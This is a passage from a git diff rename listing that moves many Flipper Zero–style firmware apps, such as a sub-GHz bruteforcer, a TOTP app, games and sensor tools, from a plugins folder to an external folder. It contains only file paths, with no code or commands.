external}/subghz_bruteforcer/helpers/gui_top_buttons.h (100%) rename applications/{plugins => external}/subghz_bruteforcer/helpers/subbrute_worker.c (100%) rename applications/{plugins => external}/subghz_bruteforcer/helpers/subbrute_worker.h (100%) rename applications/{plugins => external}/subghz_bruteforcer/helpers/subbrute_worker_private.h (100%) rename applications/{plugins => external}/subghz_bruteforcer/images/ButtonDown_7x4.png (100%) rename applications/{plugins => external}/subghz_bruteforcer/images/ButtonUp_7x4.png (100%) rename applications/{plugins => external}/subghz_bruteforcer/images/DolphinNice_96x59.png (100%) rename applications/{plugins => external}/subghz_bruteforcer/images/Sub1ghz_14/frame_01.png (100%) rename applications/{plugins => external}/subghz_bruteforcer/images/Sub1ghz_14/frame_02.png (100%) rename applications/{plugins => external}/subghz_bruteforcer/images/Sub1ghz_14/frame_03.png (100%) rename applications/{plugins => external}/subghz_bruteforcer/images/Sub1ghz_14/frame_04.png (100%) rename applications/{plugins => external}/subghz_bruteforcer/images/Sub1ghz_14/frame_05.png (100%) rename applications/{plugins => external}/subghz_bruteforcer/images/Sub1ghz_14/frame_06.png (100%) rename applications/{plugins => external}/subghz_bruteforcer/images/Sub1ghz_14/frame_rate (100%) rename applications/{plugins => external}/subghz_bruteforcer/images/sub1_10px.png (100%) rename applications/{plugins => external}/subghz_bruteforcer/images/subbrute_10px.png (100%) rename applications/{plugins => external}/subghz_bruteforcer/scenes/subbrute_scene.h (100%) rename applications/{plugins => external}/subghz_bruteforcer/scenes/subbrute_scene_config.h (100%) rename applications/{plugins => external}/subghz_bruteforcer/scenes/subbrute_scene_load_file.c (100%) rename applications/{plugins => external}/subghz_bruteforcer/scenes/subbrute_scene_load_select.c (100%) rename applications/{plugins => external}/subghz_bruteforcer/scenes/subbrute_scene_run_attack.c (100%) rename applications/{plugins => external}/subghz_bruteforcer/scenes/subbrute_scene_save_name.c (100%) rename applications/{plugins => external}/subghz_bruteforcer/scenes/subbrute_scene_save_success.c (100%) rename applications/{plugins => external}/subghz_bruteforcer/scenes/subbrute_scene_setup_attack.c (100%) rename applications/{plugins => external}/subghz_bruteforcer/scenes/subbrute_scene_start.c (100%) rename applications/{plugins => external}/subghz_bruteforcer/scenes/subbute_scene.c (100%) rename applications/{plugins => external}/subghz_bruteforcer/subbrute.c (100%) rename applications/{plugins => external}/subghz_bruteforcer/subbrute.h (100%) rename applications/{plugins => external}/subghz_bruteforcer/subbrute_custom_event.h (100%) rename applications/{plugins => external}/subghz_bruteforcer/subbrute_device.c (100%) rename applications/{plugins => external}/subghz_bruteforcer/subbrute_device.h (100%) rename applications/{plugins => external}/subghz_bruteforcer/subbrute_i.h (100%) rename applications/{plugins => external}/subghz_bruteforcer/subbrute_protocols.c (100%) rename applications/{plugins => external}/subghz_bruteforcer/subbrute_protocols.h (100%) rename applications/{plugins => external}/subghz_bruteforcer/views/subbrute_attack_view.c (100%) rename applications/{plugins => external}/subghz_bruteforcer/views/subbrute_attack_view.h (100%) rename applications/{plugins => external}/subghz_bruteforcer/views/subbrute_main_view.c (100%) rename applications/{plugins => external}/subghz_bruteforcer/views/subbrute_main_view.h (100%) rename applications/{plugins => external}/subghz_playlist/application.fam (100%) rename applications/{plugins => external}/subghz_playlist/canvas_helper.c (100%) rename applications/{plugins => external}/subghz_playlist/canvas_helper.h (100%) rename applications/{plugins => external}/subghz_playlist/images/ButtonRight_4x7.png (100%) rename applications/{plugins => external}/subghz_playlist/images/sub1_10px.png (100%) rename applications/{plugins => external}/subghz_playlist/playlist.c (100%) rename applications/{plugins => external}/subghz_playlist/playlist_10px.png (100%) rename applications/{plugins => external}/subghz_playlist/playlist_file.c (100%) rename applications/{plugins => external}/subghz_playlist/playlist_file.h (100%) rename applications/{plugins => external}/subghz_remote/application.fam (100%) rename applications/{plugins => external}/subghz_remote/images/ButtonDown_7x4.png (100%) rename applications/{plugins => external}/subghz_remote/images/ButtonLeft_4x7.png (100%) rename applications/{plugins => external}/subghz_remote/images/ButtonRight_4x7.png (100%) rename applications/{plugins => external}/subghz_remote/images/ButtonUp_7x4.png (100%) rename applications/{plugins => external}/subghz_remote/images/Ok_btn_9x9.png (100%) rename applications/{plugins => external}/subghz_remote/images/Pin_arrow_down_7x9.png (100%) rename applications/{plugins => external}/subghz_remote/images/Pin_arrow_left_9x7.png (100%) rename applications/{plugins => external}/subghz_remote/images/Pin_arrow_right_9x7.png (100%) rename applications/{plugins => external}/subghz_remote/images/Pin_arrow_up_7x9.png (100%) rename applications/{plugins => external}/subghz_remote/images/Pin_cell_13x13.png (100%) rename applications/{plugins => external}/subghz_remote/images/Pin_star_7x7.png (100%) rename applications/{plugins => external}/subghz_remote/images/back_10px.png (100%) rename applications/{plugins => external}/subghz_remote/images/sub1_10px.png (100%) rename applications/{plugins => external}/subghz_remote/subghz_remote_10px.png (100%) rename applications/{plugins => external}/subghz_remote/subghz_remote_app.c (100%) rename applications/{plugins => external}/swd_probe/.gitignore (100%) rename applications/{plugins => external}/swd_probe/LICENSE.txt (100%) rename applications/{plugins => external}/swd_probe/README.md (100%) rename applications/{plugins => external}/swd_probe/adi.c (100%) rename applications/{plugins => external}/swd_probe/adi.h (100%) rename applications/{plugins => external}/swd_probe/application.fam (89%) rename applications/{plugins => external}/swd_probe/icons/ButtonDown_7x4.png (100%) rename applications/{plugins => external}/swd_probe/icons/ButtonUp_7x4.png (100%) rename applications/{plugins => external}/swd_probe/icons/app.png (100%) rename applications/{plugins => external}/swd_probe/icons/swd.png (100%) rename applications/{plugins => external}/swd_probe/jep106.c (100%) rename applications/{plugins => external}/swd_probe/jep106.h (100%) rename applications/{plugins => external}/swd_probe/jep106.inc (100%) rename applications/{plugins => external}/swd_probe/model/chip.ply (100%) rename applications/{plugins => external}/swd_probe/model/convert.py (100%) rename applications/{plugins => external}/swd_probe/model/model_chip.h (100%) rename applications/{plugins => external}/swd_probe/swd_probe_app.c (100%) rename applications/{plugins => external}/swd_probe/swd_probe_app.h (100%) rename applications/{plugins => external}/swd_probe/usb_uart.c (100%) rename applications/{plugins => external}/swd_probe/usb_uart.h (100%) rename applications/{plugins => external}/tama_p1/README.md (100%) rename applications/{plugins => external}/tama_p1/application.fam (100%) rename applications/{plugins => external}/tama_p1/compiled/assets_icons.h (100%) rename applications/{plugins => external}/tama_p1/hal.c (100%) rename applications/{plugins => external}/tama_p1/hal_types.h (100%) rename applications/{plugins => external}/tama_p1/icons/icon_0.png (100%) rename applications/{plugins => external}/tama_p1/icons/icon_1.png (100%) rename applications/{plugins => external}/tama_p1/icons/icon_2.png (100%) rename applications/{plugins => external}/tama_p1/icons/icon_3.png (100%) rename applications/{plugins => external}/tama_p1/icons/icon_4.png (100%) rename applications/{plugins => external}/tama_p1/icons/icon_5.png (100%) rename applications/{plugins => external}/tama_p1/icons/icon_6.png (100%) rename applications/{plugins => external}/tama_p1/icons/icon_7.png (100%) rename applications/{plugins => external}/tama_p1/tama.gif (100%) rename applications/{plugins => external}/tama_p1/tama.h (100%) rename applications/{plugins => external}/tama_p1/tamaIcon.png (100%) rename applications/{plugins => external}/tama_p1/tama_p1.c (100%) rename applications/{plugins => external}/tama_p1/tamalib/LICENSE (100%) rename applications/{plugins => external}/tama_p1/tamalib/README.md (100%) rename applications/{plugins => external}/tama_p1/tamalib/cpu.c (100%) rename applications/{plugins => external}/tama_p1/tamalib/cpu.h (100%) rename applications/{plugins => external}/tama_p1/tamalib/hal.h (100%) rename applications/{plugins => external}/tama_p1/tamalib/hal_types.h.template (100%) rename applications/{plugins => external}/tama_p1/tamalib/hw.c (100%) rename applications/{plugins => external}/tama_p1/tamalib/hw.h (100%) rename applications/{plugins => external}/tama_p1/tamalib/tamalib.c (100%) rename applications/{plugins => external}/tama_p1/tamalib/tamalib.h (100%) rename applications/{plugins => external}/tanksgame/application.fam (100%) rename applications/{plugins => external}/tanksgame/constants.h (100%) rename applications/{plugins => external}/tanksgame/images/HappyFlipper_128x64.png (100%) rename applications/{plugins => external}/tanksgame/images/TanksSplashScreen_128x64.png (100%) rename applications/{plugins => external}/tanksgame/images/enemy_down.png (100%) rename applications/{plugins => external}/tanksgame/images/enemy_left.png (100%) rename applications/{plugins => external}/tanksgame/images/enemy_right.png (100%) rename applications/{plugins => external}/tanksgame/images/enemy_up.png (100%) rename applications/{plugins => external}/tanksgame/images/projectile_down.png (100%) rename applications/{plugins => external}/tanksgame/images/projectile_left.png (100%) rename applications/{plugins => external}/tanksgame/images/projectile_right.png (100%) rename applications/{plugins => external}/tanksgame/images/projectile_up.png (100%) rename applications/{plugins => external}/tanksgame/images/tank_base.png (100%) rename applications/{plugins => external}/tanksgame/images/tank_down.png (100%) rename applications/{plugins => external}/tanksgame/images/tank_explosion.png (100%) rename applications/{plugins => external}/tanksgame/images/tank_hedgehog.png (100%) rename applications/{plugins => external}/tanksgame/images/tank_left.png (100%) rename applications/{plugins => external}/tanksgame/images/tank_right.png (100%) rename applications/{plugins => external}/tanksgame/images/tank_stone.png (100%) rename applications/{plugins => external}/tanksgame/images/tank_up.png (100%) rename applications/{plugins => external}/tanksgame/images/tank_wall.png (100%) rename applications/{plugins => external}/tanksgame/tanksIcon.png (100%) rename applications/{plugins => external}/tanksgame/tanks_game.c (100%) rename applications/{plugins => external}/tetris_game/application.fam (100%) rename applications/{plugins => external}/tetris_game/tetris_10px.png (100%) rename applications/{plugins => external}/tetris_game/tetris_game.c (100%) rename applications/{plugins => external}/text_viewer/LICENSE (100%) rename applications/{plugins => external}/text_viewer/README.md (100%) rename applications/{plugins => external}/text_viewer/application.fam (100%) rename applications/{plugins => external}/text_viewer/icons/text_10px.png (100%) rename applications/{plugins => external}/text_viewer/text_viewer.c (100%) rename applications/{plugins => external}/text_viewer/textviewerflipper.PNG (100%) rename applications/{plugins => external}/tictactoe_game/application.fam (100%) rename applications/{plugins => external}/tictactoe_game/tictactoe_10px.png (100%) rename applications/{plugins => external}/tictactoe_game/tictactoe_game.c (100%) rename applications/{plugins => external}/timelapse/README.md (100%) rename applications/{plugins => external}/timelapse/application.fam (100%) rename applications/{plugins => external}/timelapse/gpio_item.c (100%) rename applications/{plugins => external}/timelapse/gpio_item.h (100%) rename applications/{plugins => external}/timelapse/icons/ButtonDown_7x4.png (100%) rename applications/{plugins => external}/timelapse/icons/ButtonLeft_4x7.png (100%) rename applications/{plugins => external}/timelapse/icons/ButtonRight_4x7.png (100%) rename applications/{plugins => external}/timelapse/icons/ButtonUp_7x4.png (100%) rename applications/{plugins => external}/timelapse/icons/Pin_star_7x7.png (100%) rename applications/{plugins => external}/timelapse/icons/loading_10px.png (100%) rename applications/{plugins => external}/timelapse/zeitraffer.c (100%) rename applications/{plugins => external}/timelapse/zeitraffer.png (100%) rename applications/{plugins => external}/totp/LICENSE (100%) rename applications/{plugins => external}/totp/application.fam (100%) rename applications/{plugins => external}/totp/cli/cli.c (100%) rename applications/{plugins => external}/totp/cli/cli.h (100%) rename applications/{plugins => external}/totp/cli/cli_helpers.c (100%) rename applications/{plugins => external}/totp/cli/cli_helpers.h (100%) rename applications/{plugins => external}/totp/cli/commands/add/add.c (100%) rename applications/{plugins => external}/totp/cli/commands/add/add.h (100%) rename applications/{plugins => external}/totp/cli/commands/delete/delete.c (100%) rename applications/{plugins => external}/totp/cli/commands/delete/delete.h (100%) rename applications/{plugins => external}/totp/cli/commands/help/help.c (100%) rename applications/{plugins => external}/totp/cli/commands/help/help.h (100%) rename applications/{plugins => external}/totp/cli/commands/list/list.c (100%) rename applications/{plugins => external}/totp/cli/commands/list/list.h (100%) rename applications/{plugins => external}/totp/cli/commands/move/move.c (100%) rename applications/{plugins => external}/totp/cli/commands/move/move.h (100%) rename applications/{plugins => external}/totp/cli/commands/notification/notification.c (100%) rename applications/{plugins => external}/totp/cli/commands/notification/notification.h (100%) rename applications/{plugins => external}/totp/cli/commands/pin/pin.c (100%) rename applications/{plugins => external}/totp/cli/commands/pin/pin.h (100%) rename applications/{plugins => external}/totp/cli/commands/reset/reset.c (100%) rename applications/{plugins => external}/totp/cli/commands/reset/reset.h (100%) rename applications/{plugins => external}/totp/cli/commands/timezone/timezone.c (100%) rename applications/{plugins => external}/totp/cli/commands/timezone/timezone.h (100%) rename applications/{plugins => external}/totp/images/DolphinCommon_56x48.png (100%) rename applications/{plugins => external}/totp/images/totp_arrow_bottom_10x5.png (100%) rename applications/{plugins => external}/totp/images/totp_arrow_left_8x9.png (100%) rename applications/{plugins => external}/totp/images/totp_arrow_right_8x9.png (100%) rename applications/{plugins => external}/totp/lib/base32/base32.c (100%) rename applications/{plugins => external}/totp/lib/base32/base32.h (100%) rename applications/{plugins => external}/totp/lib/list/list.c (100%) rename applications/{plugins => external}/totp/lib/list/list.h (100%) rename applications/{plugins => external}/totp/lib/polyfills/memset_s.c (100%) rename applications/{plugins => external}/totp/lib/polyfills/memset_s.h (100%) rename applications/{plugins => external}/totp/lib/polyfills/strnlen.c (100%) rename applications/{plugins => external}/totp/lib/polyfills/strnlen.h (100%) rename applications/{plugins => external}/totp/lib/roll_value/roll_value.c (100%) rename applications/{plugins => external}/totp/lib/roll_value/roll_value.h (100%) rename applications/{plugins => external}/totp/lib/timezone_utils/timezone_utils.c (100%) rename applications/{plugins => external}/totp/lib/timezone_utils/timezone_utils.h (100%) rename applications/{plugins => external}/totp/services/config/config.c (100%) rename applications/{plugins => external}/totp/services/config/config.h (100%) rename applications/{plugins => external}/totp/services/config/constants.h (100%) rename applications/{plugins => external}/totp/services/config/migrations/config_migration_v1_to_v2.c (100%) rename applications/{plugins => external}/totp/services/config/migrations/config_migration_v1_to_v2.h (100%) rename applications/{plugins => external}/totp/services/config/migrations/config_migration_v2_to_v3.c (100%) rename applications/{plugins => external}/totp/services/config/migrations/config_migration_v2_to_v3.h (100%) rename applications/{plugins => external}/totp/services/convert/convert.h (100%) rename applications/{plugins => external}/totp/services/crypto/crypto.c (100%) rename applications/{plugins => external}/totp/services/crypto/crypto.h (100%) rename applications/{plugins => external}/totp/services/hmac/byteswap.c (100%) rename applications/{plugins => external}/totp/services/hmac/byteswap.h (100%) rename applications/{plugins => external}/totp/services/hmac/hmac_common.h (100%) rename applications/{plugins => external}/totp/services/hmac/hmac_sha1.c (100%) rename applications/{plugins => external}/totp/services/hmac/hmac_sha1.h (100%) rename applications/{plugins => external}/totp/services/hmac/hmac_sha256.c (100%) rename applications/{plugins => external}/totp/services/hmac/hmac_sha256.h (100%) rename applications/{plugins => external}/totp/services/hmac/hmac_sha512.c (100%) rename applications/{plugins => external}/totp/services/hmac/hmac_sha512.h (100%) rename applications/{plugins => external}/totp/services/hmac/memxor.c (100%) rename applications/{plugins => external}/totp/services/hmac/memxor.h (100%) rename applications/{plugins => external}/totp/services/hmac/sha1.c (100%) rename applications/{plugins => external}/totp/services/hmac/sha1.h (100%) rename applications/{plugins => external}/totp/services/hmac/sha256.c (100%) rename applications/{plugins => external}/totp/services/hmac/sha256.h (100%) rename applications/{plugins => external}/totp/services/hmac/sha512.c (100%) rename applications/{plugins => external}/totp/services/hmac/sha512.h (100%) rename applications/{plugins => external}/totp/services/hmac/u64.h (100%) rename applications/{plugins => external}/totp/services/totp/totp.c (100%) rename applications/{plugins => external}/totp/services/totp/totp.h (100%) rename applications/{plugins => external}/totp/totp_10px.png (100%) rename applications/{plugins => external}/totp/totp_app.c (100%) rename applications/{plugins => external}/totp/types/common.h (100%) rename applications/{plugins => external}/totp/types/event_type.h (100%) rename applications/{plugins => external}/totp/types/notification_method.h (100%) rename applications/{plugins => external}/totp/types/nullable.h (100%) rename applications/{plugins => external}/totp/types/plugin_event.h (100%) rename applications/{plugins => external}/totp/types/plugin_state.h (100%) rename applications/{plugins => external}/totp/types/token_info.c (100%) rename applications/{plugins => external}/totp/types/token_info.h (100%) rename applications/{plugins => external}/totp/types/user_pin_codes.h (100%) rename applications/{plugins => external}/totp/ui/common_dialogs.c (100%) rename applications/{plugins => external}/totp/ui/common_dialogs.h (100%) rename applications/{plugins => external}/totp/ui/constants.h (100%) rename applications/{plugins => external}/totp/ui/scene_director.c (100%) rename applications/{plugins => external}/totp/ui/scene_director.h (100%) rename applications/{plugins => external}/totp/ui/scenes/add_new_token/totp_input_text.c (100%) rename applications/{plugins => external}/totp/ui/scenes/add_new_token/totp_input_text.h (100%) rename applications/{plugins => external}/totp/ui/scenes/add_new_token/totp_scene_add_new_token.c (100%) rename applications/{plugins => external}/totp/ui/scenes/add_new_token/totp_scene_add_new_token.h (100%) rename applications/{plugins => external}/totp/ui/scenes/app_settings/totp_app_settings.c (100%) rename applications/{plugins => external}/totp/ui/scenes/app_settings/totp_app_settings.h (100%) rename applications/{plugins => external}/totp/ui/scenes/authenticate/totp_scene_authenticate.c (100%) rename applications/{plugins => external}/totp/ui/scenes/authenticate/totp_scene_authenticate.h (100%) rename applications/{plugins => external}/totp/ui/scenes/generate_token/totp_scene_generate_token.c (100%) rename applications/{plugins => external}/totp/ui/scenes/generate_token/totp_scene_generate_token.h (100%) rename applications/{plugins => external}/totp/ui/scenes/token_menu/totp_scene_token_menu.c (100%) rename applications/{plugins => external}/totp/ui/scenes/token_menu/totp_scene_token_menu.h (100%) rename applications/{plugins => external}/totp/ui/totp_scenes_enum.h (100%) rename applications/{plugins => external}/totp/ui/ui_controls.c (100%) rename applications/{plugins => external}/totp/ui/ui_controls.h (100%) rename applications/{plugins => external}/totp/workers/type_code/type_code.c (100%) rename applications/{plugins => external}/totp/workers/type_code/type_code.h (100%) rename applications/{plugins => external}/tuning_fork/LICENSE (100%) rename applications/{plugins => external}/tuning_fork/README.md (100%) rename applications/{plugins => external}/tuning_fork/application.fam (100%) rename applications/{plugins => external}/tuning_fork/img/screenshot_1.png (100%) rename applications/{plugins => external}/tuning_fork/img/screenshot_2.png (100%) rename applications/{plugins => external}/tuning_fork/img/tuning_fork.gif (100%) rename applications/{plugins => external}/tuning_fork/notes.h (100%) rename applications/{plugins => external}/tuning_fork/tuning_fork.c (100%) rename applications/{plugins => external}/tuning_fork/tuning_fork_icon.png (100%) rename applications/{plugins => external}/tuning_fork/tunings.h (100%) rename applications/{plugins => external}/uart_terminal/LICENSE (100%) rename applications/{plugins => external}/uart_terminal/README.md (100%) rename applications/{plugins => external}/uart_terminal/application.fam (100%) rename applications/{plugins => external}/uart_terminal/assets/KeyBackspaceSelected_16x9.png (100%) rename applications/{plugins => external}/uart_terminal/assets/KeyBackspace_16x9.png (100%) rename applications/{plugins => external}/uart_terminal/assets/KeySaveSelected_24x11.png (100%) rename applications/{plugins => external}/uart_terminal/assets/KeySave_24x11.png (100%) rename applications/{plugins => external}/uart_terminal/assets/WarningDolphin_45x42.png (100%) rename applications/{plugins => external}/uart_terminal/scenes/uart_terminal_scene.c (100%) rename applications/{plugins => external}/uart_terminal/scenes/uart_terminal_scene.h (100%) rename applications/{plugins => external}/uart_terminal/scenes/uart_terminal_scene_config.h (100%) rename applications/{plugins => external}/uart_terminal/scenes/uart_terminal_scene_console_output.c (100%) rename applications/{plugins => external}/uart_terminal/scenes/uart_terminal_scene_start.c (100%) rename applications/{plugins => external}/uart_terminal/scenes/uart_terminal_scene_text_input.c (100%) rename applications/{plugins => external}/uart_terminal/uart_terminal.png (100%) rename applications/{plugins => external}/uart_terminal/uart_terminal_app.c (100%) rename applications/{plugins => external}/uart_terminal/uart_terminal_app.h (100%) rename applications/{plugins => external}/uart_terminal/uart_terminal_app_i.h (100%) rename applications/{plugins => external}/uart_terminal/uart_terminal_custom_event.h (100%) rename applications/{plugins => external}/uart_terminal/uart_terminal_uart.c (100%) rename applications/{plugins => external}/uart_terminal/uart_terminal_uart.h (100%) rename applications/{plugins => external}/uart_terminal/uart_text_input.c (100%) rename applications/{plugins => external}/uart_terminal/uart_text_input.h (100%) rename applications/{plugins => external}/uart_terminal/uart_validators.c (100%) rename applications/{plugins => external}/uart_terminal/uart_validators.h (100%) rename applications/{plugins => external}/unitemp/LICENSE.md (100%) rename applications/{plugins => external}/unitemp/README.md (100%) rename applications/{plugins => external}/unitemp/Sensors.c (100%) rename applications/{plugins => external}/unitemp/Sensors.h (100%) rename applications/{plugins => external}/unitemp/application.fam (100%) rename applications/{plugins => external}/unitemp/assets/README.MD (100%) rename applications/{plugins => external}/unitemp/assets/flipper_happy_2_60x38.png (100%) rename applications/{plugins => external}/unitemp/assets/flipper_happy_60x38.png (100%) rename applications/{plugins => external}/unitemp/assets/flipper_sad_60x38.png (100%) rename applications/{plugins => external}/unitemp/assets/hum_9x15.png (100%) rename applications/{plugins => external}/unitemp/assets/in_hg_15x15.png (100%) rename applications/{plugins => external}/unitemp/assets/mm_hg_15x15.png (100%) rename applications/{plugins => external}/unitemp/assets/pressure_7x13.png (100%) rename applications/{plugins => external}/unitemp/assets/repo_qr_50x50.png (100%) rename applications/{plugins => external}/unitemp/assets/sherlok_53x45.png (100%) rename applications/{plugins => external}/unitemp/assets/temp_C_11x14.png (100%) rename applications/{plugins => external}/unitemp/assets/temp_F_11x14.png (100%) rename applications/{plugins => external}/unitemp/icon.png (100%) rename applications/{plugins => external}/unitemp/interfaces/I2CSensor.c (100%) rename applications/{plugins => external}/unitemp/interfaces/I2CSensor.h (100%) rename applications/{plugins => external}/unitemp/interfaces/OneWireSensor.c (100%) rename applications/{plugins => external}/unitemp/interfaces/OneWireSensor.h (100%) rename applications/{plugins => external}/unitemp/interfaces/SPISensor.c (100%) rename applications/{plugins => external}/unitemp/interfaces/SPISensor.h (100%) rename applications/{plugins => external}/unitemp/interfaces/SingleWireSensor.c (100%) rename applications/{plugins => external}/unitemp/interfaces/SingleWireSensor.h (100%) rename applications/{plugins => external}/unitemp/sensors/AM2320.c (100%) rename applications/{plugins => external}/unitemp/sensors/AM2320.h (100%) rename applications/{plugins => external}/unitemp/sensors/BME680.c (100%) rename applications/{plugins => external}/unitemp/sensors/BME680.h (100%) rename applications/{plugins => external}/unitemp/sensors/BMP180.c (100%) rename applications/{plugins => external}/unitemp/sensors/BMP180.h (100%) rename applications/{plugins => external}/unitemp/sensors/BMx280.c (100%) rename applications/{plugins => external}/unitemp/sensors/BMx280.h (100%) rename applications/{plugins => external}/unitemp/sensors/DHT20.c (100%) rename applications/{plugins => external}/unitemp/sensors/DHT20.h (100%) rename applications/{plugins => external}/unitemp/sensors/HDC1080.c (100%) rename applications/{plugins => external}/unitemp/sensors/HDC1080.h (100%) rename applications/{plugins => external}/unitemp/sensors/HTU21x.c (100%) rename applications/{plugins => external}/unitemp/sensors/HTU21x.h (100%) rename applications/{plugins => external}/unitemp/sensors/LM75.c (100%) rename applications/{plugins => external}/unitemp/sensors/LM75.h (100%) rename applications/{plugins => external}/unitemp/sensors/MAX31855.c (100%) rename applications/{plugins => external}/unitemp/sensors/MAX31855.h (100%) rename applications/{plugins => external}/unitemp/sensors/MAX6675.c (100%) rename applications/{plugins => external}/unitemp/sensors/MAX6675.h (100%) rename applications/{plugins => external}/unitemp/sensors/SHT30.c (100%) rename applications/{plugins => external}/unitemp/sensors/SHT30.h (100%) rename applications/{plugins => external}/unitemp/sensors/Sensors.xlsx (100%) rename applications/{plugins => external}/unitemp/unitemp.c (100%) rename applications/{plugins => external}/unitemp/unitemp.h (100%) rename applications/{plugins => external}/unitemp/views/General_view.c (100%) rename applications/{plugins => external}/unitemp/views/MainMenu_view.c (100%) rename applications/{plugins => external}/unitemp/views/Popup_view.c (100%) rename applications/{plugins => external}/unitemp/views/SensorActions_view.c (100%) rename applications/{plugins => external}/unitemp/views/SensorEdit_view.c (100%) rename applications/{plugins => external}/unitemp/views/SensorNameEdit_view.c (100%) rename applications/{plugins => external}/unitemp/views/SensorsList_view.c (100%) rename applications/{plugins => external}/unitemp/views/Settings_view.c (100%) rename applications/{plugins => external}/unitemp/views/UnitempViews.h (100%) rename applications/{plugins => external}/unitemp/views/Widgets_view.c (100%) rename applications/{plugins => external}/usb_hid_autofire/.gitignore (100%) rename applications/{plugins => external}/usb_hid_autofire/CHANGELOG.md (100%) rename applications/{plugins => external}/usb_hid_autofire/LICENSE (100%) rename applications/{plugins => external}/usb_hid_autofire/README.md (100%) rename applications/{plugins => external}/usb_hid_autofire/application.fam (100%) rename applications/{plugins => external}/usb_hid_autofire/screenshot.png (100%) rename applications/{plugins => external}/usb_hid_autofire/tools.c (100%) rename applications/{plugins => external}/usb_hid_autofire/tools.h (100%) rename applications/{plugins => external}/usb_hid_autofire/usb_hid_autofire.c (100%) rename applications/{plugins => external}/usb_hid_autofire/usb_hid_autofire.kra (100%) rename applications/{plugins => external}/usb_hid_autofire/usb_hid_autofire.png (100%) rename applications/{plugins => external}/usb_hid_autofire/usb_hid_autofire.svg (100%) rename applications/{plugins => external}/usb_hid_autofire/version.h (100%) rename applications/{plugins => external}/videopoker/application.fam (100%) rename applications/{plugins => external}/videopoker/poker.c (100%) rename applications/{plugins => external}/videopoker/pokerIcon.png (100%) rename applications/{plugins => external}/wav_player/README.md (100%) rename applications/{plugins => external}/wav_player/application.fam (100%) rename applications/{plugins => external}/wav_player/images/music_10px.png (100%) rename applications/{plugins => external}/wav_player/wav_10px.png (100%) rename applications/{plugins => external}/wav_player/wav_parser.c (100%) rename applications/{plugins => external}/wav_player/wav_parser.h (100%) rename applications/{plugins => external}/wav_player/wav_player.c (100%) rename applications/{plugins => external}/wav_player/wav_player_hal.c (100%) rename applications/{plugins => external}/wav_player/wav_player_hal.h (100%) rename applications/{plugins => external}/wav_player/wav_player_view.c (100%) rename applications/{plugins => external}/wav_player/wav_player_view.h (100%) rename applications/{plugins => external}/weather_station/application.fam (89%) rename applications/{plugins => external}/weather_station/helpers/weather_station_event.h (100%) rename applications/{plugins => external}/weather_station/helpers/weather_station_types.h (100%) rename applications/{plugins => external}/weather_station/images/Humid_10x15.png (100%) rename applications/{plugins => external}/weather_station/images/Humid_8x13.png (100%) rename applications/{plugins => external}/weather_station/images/Lock_7x8.png (100%) rename applications/{plugins => external}/weather_station/images/Pin_back_arrow_10x8.png (100%) rename applications/{plugins => external}/weather_station/images/Quest_7x8.png (100%) rename applications/{plugins => external}/weather_station/images/Scanning_123x52.png (100%) rename applications/{plugins => external}/weather_station/images/Therm_7x16.png (100%) rename applications/{plugins => external}/weather_station/images/Timer_11x11.png (100%) rename applications/{plugins => external}/weather_station/images/Unlock_7x8.png (100%) rename applications/{plugins => external}/weather_station/images/WarningDolphin_45x42.png (100%) rename applications/{plugins => external}/weather_station/images/station_icon.png (100%) rename applications/{plugins => external}/weather_station/protocols/acurite_592txr.c (100%) rename applications/{plugins => external}/weather_station/protocols/acurite_592txr.h (100%) rename applications/{plugins => external}/weather_station/protocols/acurite_606tx.c (100%) rename applications/{plugins => external}/weather_station/protocols/acurite_606tx.h (100%) rename applications/{plugins => external}/weather_station/protocols/acurite_609txc.c (100%) rename applications/{plugins => external}/weather_station/protocols/acurite_609txc.h (100%) rename applications/{plugins => external}/weather_station/protocols/ambient_weather.c (100%) rename applications/{plugins => external}/weather_station/protocols/ambient_weather.h (100%) rename applications/{plugins => external}/weather_station/protocols/auriol_hg0601a.c (100%) rename applications/{plugins => external}/weather_station/protocols/auriol_hg0601a.h (100%) rename applications/{plugins => external}/weather_station/protocols/gt_wt_02.c (100%) rename applications/{plugins => external}/weather_station/protocols/gt_wt_02.h (100%) rename applications/{plugins => external}/weather_station/protocols/gt_wt_03.c (100%) rename applications/{plugins => external}/weather_station/protocols/gt_wt_03.h (100%) rename applications/{plugins => external}/weather_station/protocols/infactory.c (100%) rename applications/{plugins => external}/weather_station/protocols/infactory.h (100%) rename applications/{plugins => external}/weather_station/protocols/lacrosse_tx.c (100%) rename applications/{plugins => external}/weather_station/protocols/lacrosse_tx.h (100%) rename applications/{plugins => external}/weather_station/protocols/lacrosse_tx141thbv2.c (100%) rename applications/{plugins => external}/weather_station/protocols/lacrosse_tx141thbv2.h (100%) rename applications/{plugins => external}/weather_station/protocols/nexus_th.c (100%) rename applications/{plugins => external}/weather_station/protocols/nexus_th.h (100%) rename applications/{plugins => external}/weather_station/protocols/oregon2.c (100%) rename applications/{plugins => external}/weather_station/protocols/oregon2.h (100%) rename applications/{plugins => external}/weather_station/protocols/oregon_v1.c (100%) rename applications/{plugins => external}/weather_station/protocols/oregon_v1.h (100%) rename applications/{plugins => external}/weather_station/protocols/protocol_items.c (100%) rename applications/{plugins => external}/weather_station/protocols/protocol_items.h (100%) rename applications/{plugins => external}/weather_station/protocols/thermopro_tx4.c (100%) rename applications/{plugins => external}/weather_station/protocols/thermopro_tx4.h (100%) rename applications/{plugins => external}/weather_station/protocols/tx_8300.c (100%) rename applications/{plugins => external}/weather_station/protocols/tx_8300.h (100%) rename applications/{plugins => external}/weather_station/protocols/ws_generic.c (100%) rename applications/{plugins => external}/weather_station/protocols/ws_generic.h (100%) rename applications/{plugins => external}/weather_station/scenes/weather_station_receiver.c (100%) rename applications/{plugins => external}/weather_station/scenes/weather_station_scene.c (100%) rename applications/{plugins => external}/weather_station/scenes/weather_station_scene.h (100%) rename applications/{plugins => external}/weather_station/scenes/weather_station_scene_about.c (100%) rename applications/{plugins => external}/weather_station/scenes/weather_station_scene_config.h (100%) rename applications/{plugins => external}/weather_station/scenes/weather_station_scene_receiver_config.c (100%) rename applications/{plugins => external}/weather_station/scenes/weather_station_scene_receiver_info.c (100%) rename applications/{plugins => external}/weather_station/scenes/weather_station_scene_start.c (100%) rename applications/{plugins => external}/weather_station/views/weather_station_receiver.c (100%) rename applications/{plugins => external}/weather_station/views/weather_station_receiver.h (100%) rename applications/{plugins => external}/weather_station/views/weather_station_receiver_info.c (100%) rename applications/{plugins => external}/weather_station/views/weather_station_receiver_info.h (100%) rename applications/{plugins => external}/weather_station/weather_station_10px.png (100%) rename applications/{plugins => external}/weather_station/weather_station_app.c (100%) rename applications/{plugins => 